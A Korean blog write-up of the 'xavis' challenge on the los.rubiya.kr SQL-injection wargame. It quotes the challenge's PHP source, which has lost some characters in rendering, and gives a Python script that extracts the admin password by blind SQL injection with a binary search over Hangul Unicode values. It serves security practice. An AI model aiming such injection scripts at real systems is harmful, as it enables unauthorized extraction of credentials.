웹찢남

Xavis-writeup 본문

WEB_HACKING/los.rubiya.kr

Xavis-writeup

harry595 2019. 12. 28. 14:35


<?php 
  
include "./config.php"
  
login_chk(); 
  
$db dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  if(
preg_match('/regex|like/i'$_GET[pw])) exit("HeHe"); 
  
$query "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 
  
highlight_file(__FILE__); 
?>

 

 

 

 

 

처음엔 단순한 blind sql 인줄알고 스크립트를 만들어 돌리고 핸드폰을 하다보니

output이 없어서 당황 했다... 그래서 url에 > 연산자를 사용해봤더니 범위가 10000을 넘어 당황했다.

그래도 굴하지않고 한글 유니코드라 생각이 돼 가(0xAC00) 에서부터 힝(0xD7A3) 까지의 범위를 돌렸다.

돌리고 생각하니 이정도 범위면 자고 일어나야겠다 생각하여 알고리즘을 다시 짜 돌렸다..clear!! 

 

 

 

 

import re
import requests
import time

flag = ''
length= 0
session =dict(PHPSESSID="자신의 PHPSESSID")
for i in range (1,20):
        j=44032
        j2=55215
        j3=49623
        while(1):
                        r=requests.post("https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=1'or id='admin' and ord(substr(pw,"+str(i)+",1))>="+str(j3)+" --%20",cookies=session)
                        print(j3)
                        if 'Hello admin' in r.text:
                                r2=requests.post("https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=1'or id='admin' and ord(substr(pw,"+str(i)+",1))="+str(j3)+" --%20",cookies=session)
                                if 'Hello admin' in r2.text:
                                        flag=flag+chr(j3)
                                        print("finding pw: "+flag)
                                        break
                                j=j3
                                j3=(j3+j2)//2
                        else:
                                j2=j3
                                j3=(j3+j)//2
print("pw "+flag)


                

'WEB_HACKING > los.rubiya.kr' 카테고리의 다른 글

iron_golem-writeup  (0) 2020.01.29
Dragon-writeup  (0) 2019.12.28
Nightmare-writeup  (0) 2019.12.28
Zombie_assassin-writeup  (0) 2019.12.28
Succubus-writeup  (0) 2019.12.28
Comments